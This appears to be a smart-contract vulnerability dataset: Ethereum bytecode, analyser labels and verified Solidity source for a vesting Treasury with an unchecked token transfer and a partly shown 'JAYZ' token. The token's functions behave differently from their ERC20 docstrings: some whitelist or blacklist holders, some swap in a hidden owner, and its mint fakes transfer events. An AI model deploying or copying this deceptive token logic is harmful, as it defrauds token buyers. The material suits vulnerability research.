ffff1614151561141a57600080fd5b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600060066000838152602001908152602001600020549050919050565b600154811115151561149f57600080fd5b3360026000600154815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905560056000600154815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550826003600060015481526020019081526020016000208190555080600660006001548152602001908152602001600020819055508142016008600060015481526020019081526020016000208190555060018060008282540192505081905550505050565b60008060008060008060006115be88611372565b1115156115ca57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff166115eb88610f66565b73ffffffffffffffffffffffffffffffffffffffff161415151561160e57600080fd5b61161787611372565b341015151561162557600080fd5b3373ffffffffffffffffffffffffffffffffffffffff1661164588610f66565b73ffffffffffffffffffffffffffffffffffffffff161415151561166857600080fd5b61167133611b56565b15151561167d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156116b957600080fd5b6116c287610f66565b95503394506116d087611372565b93506116e58434611b6990919063ffffffff16565b92506116f286868961195f565b6116fb87610e06565b60036000898152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff16877fd2728f908c7e0feb83c6278798370fcb86b62f236c9dbf1a3f541096c2159040866040518082815260200191505060405180910390a38573ffffffffffffffffffffffffffffffffffffffff16877f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d7866040518082815260200191505060405180910390a36117b984610fa3565b91508573ffffffffffffffffffffffffffffffffffffffff166108fc6117e88487611b6990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050151561180d57600080fd5b611821601483611b3b90919063ffffffff16565b905060026000600660008a815260200190815260200160002054815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156118a957600080fd5b6118bc8183611b6990919063ffffffff16565b60076000898152602001908152602001600020600082825401925050819055506000831115611926578473ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050151561192557600080fd5b5b50505050505050565b6000611958606261194a607585611b8290919063ffffffff16565b611b3b90919063ffffffff16565b9050919050565b61196881610910565b151561197357600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1661199382610f66565b73ffffffffffffffffffffffffffffffffffffffff161415156119b557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156119f157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611a2c57600080fd5b816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000808284811515611b4957fe5b0490508091505092915050565b600080823b905060008111915050919050565b6000828211151515611b7757fe5b818303905092915050565b6000806000841415611b975760009150611bb6565b8284029050828482811515611ba857fe5b04141515611bb257fe5b8091505b5092915050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a72305820dd4987d5e9910dc7eedf66740840eb3a8af6813f993d76cfa97d13d79b207bb30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 9,370 |
0x5e1782A2715d0AD411e0d737a7590D6042695b78
|
/**
*Submitted for verification at Etherscan.io on 2022-04-21
*/
pragma solidity ^0.5.16;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Treasury {
using SafeMath for uint;
address public lockedToken;
address public recipient;
uint public vestingAmount;
uint public vestingBegin;
uint public vestingEnd;
uint public lastUpdate;
uint256 private vestingDuration = 2 * 365 * 24 * 60 * 60; // 2 year
constructor(
address lockedToken_,
address recipient_,
uint vestingAmount_,
uint vestingBegin_
) public {
require(vestingBegin_ >= block.timestamp, 'Treasury: vesting begin too early');
lockedToken = lockedToken_;
recipient = recipient_;
vestingAmount = vestingAmount_;
vestingBegin = vestingBegin_;
vestingEnd = vestingBegin_.add(vestingDuration);
lastUpdate = vestingBegin;
}
/** ========== view functions ========== */
function claimableAmount() public view returns (uint) {
require(block.timestamp >= vestingBegin, 'claim: not time yet');
uint amount;
if (block.timestamp >= vestingEnd) {
amount = ILockedToken(lockedToken).balanceOf(address(this));
} else {
amount = vestingAmount.mul(block.timestamp - lastUpdate).div(vestingEnd - vestingBegin);
}
return amount;
}
/** ========== main functions ========== */
function setRecipient(address recipient_) public {
require(msg.sender == recipient, 'setRecipient: unauthorized');
recipient = recipient_;
}
function claim() external {
require(block.timestamp >= vestingBegin, 'claim: not time yet');
uint amount;
if (block.timestamp >= vestingEnd) {
amount = ILockedToken(lockedToken).balanceOf(address(this));
} else {
amount = vestingAmount.mul(block.timestamp - lastUpdate).div(vestingEnd - vestingBegin);
lastUpdate = block.timestamp;
}
ILockedToken(lockedToken).transfer(recipient, amount);
}
}
interface ILockedToken {
function balanceOf(address account) external view returns (uint);
function transfer(address dst, uint rawAmount) external returns (bool);
}
|
0x608060405234801561001057600080fd5b50600436106100925760003560e01c806366d003ac1161006657806366d003ac1461014d57806384a1931f14610197578063a556f846146101b5578063c0463711146101d3578063e29bc68b146101f157610092565b8062728f76146100975780630f45cc81146100b55780633bbed4a0146100ff5780634e71d92d14610143575b600080fd5b61009f61020f565b6040518082815260200191505060405180910390f35b6100bd610215565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101416004803603602081101561011557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061023a565b005b61014b610341565b005b6101556105e8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61019f61060e565b6040518082815260200191505060405180910390f35b6101bd610614565b6040518082815260200191505060405180910390f35b6101db6107b4565b6040518082815260200191505060405180910390f35b6101f96107ba565b6040518082815260200191505060405180910390f35b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f736574526563697069656e743a20756e617574686f72697a656400000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6003544210156103b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f636c61696d3a206e6f742074696d65207965740000000000000000000000000081525060200191505060405180910390fd5b600060045442106104a4576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561046257600080fd5b505afa158015610476573d6000803e3d6000fd5b505050506040513d602081101561048c57600080fd5b810190808051906020019092919050505090506104df565b6104d5600354600454036104c760055442036002546107c090919063ffffffff16565b61084690919063ffffffff16565b9050426005819055505b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156105a957600080fd5b505af11580156105bd573d6000803e3d6000fd5b505050506040513d60208110156105d357600080fd5b81019080805190602001909291905050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b600060035442101561068e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f636c61696d3a206e6f742074696d65207965740000000000000000000000000081525060200191505060405180910390fd5b60006004544210610779576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561073757600080fd5b505afa15801561074b573d6000803e3d6000fd5b505050506040513d602081101561076157600080fd5b810190808051906020019092919050505090506107ad565b6107aa6003546004540361079c60055442036002546107c090919063ffffffff16565b61084690919063ffffffff16565b90505b8091505090565b60055481565b60035481565b6000808314156107d35760009050610840565b60008284029050828482816107e457fe5b041461083b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806109df6021913960400191505060405180910390fd5b809150505b92915050565b600061088883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610890565b905092915050565b6000808311829061093c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156109015780820151818401526020810190506108e6565b50505050905090810190601f16801561092e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161094857fe5b049050809150509392505050565b6000808284019050838110156109d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a72315820a3961a21ea25c39e78434cd00cfd61a31143a8cbae3826397da7919573f595ed64736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,371 |
0xb6dfa6d30a2efbadcabd1fa78a8c14fd90984afe
|
/*
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// ▄▓▓▓▄ ▄▓▓▓▄ //
// ▄▓▓▓▓▓▓▓▓▓▄▓▓▓▓▓▓▓▓▓▄ //
// ▓▀ ▀▓▓▓▓▓▓▓▀ ▀▓▓▓▓▓▓▓ //
// ▀▓▒▓▓▓▓▓▓▓▀▓▒▓▓▓▓▓▓▓▀ //
// ▓▓▓▓▓ ▀▓▓▓▀ //
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ▀▓░▒▒▓▓▓▓▓▓▓▓▀ ▓▓▓▓▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓▓▓ ▓▄▓▓▓▓▀ ▓░▀▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▀ ▓░▓▓▓▓▓▓▓▓▓▓▓░▄▓▓▓▓▓▓▓▓▓▓▓▀ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▀ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓░░░▓▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓▓░▓▓▓▓▓▓▓▀ ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▄▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓▓▓▓▓▀ ▄▓▓▓▓▓▓▓▓▓▓▓▓▀ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓▓▀ ▓▀▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓ ▓░▄▓▓▓▓▓▓▓▓▓▓▓ ▄▓▓▓▓▓▓▓▓▓▓▓▓▀ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▄▓▓▓▓▓▓▓▓▓▓▓▓ ▄▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▀▀▀▀▀▀▀▀▀░░░▓▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▄ ▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓▓ ░░▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓ ░░░▓▓▓▓▓▓▓▓▒ ▓▓▓▓▓▓▓▓▓▓▓▄ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ //
// ░▒▒▓▓▓▓▓▓▓ //
// ▄▓▓▓▓▓▓▓▓▓▀ //
// ▓▓▓▓▓▓▓▀ //
// ▀▀▀▀ //
// //
// //
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
*/
pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract JAYZ is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
//25 lines
_mint(0x2866eE1686fe8CdE6987ba1aDd539C341D89617D, initialSupply*(10**18));
_mint(0x00372812abcB11c2EA291aeb7F612D9e0524b013, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IER C20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
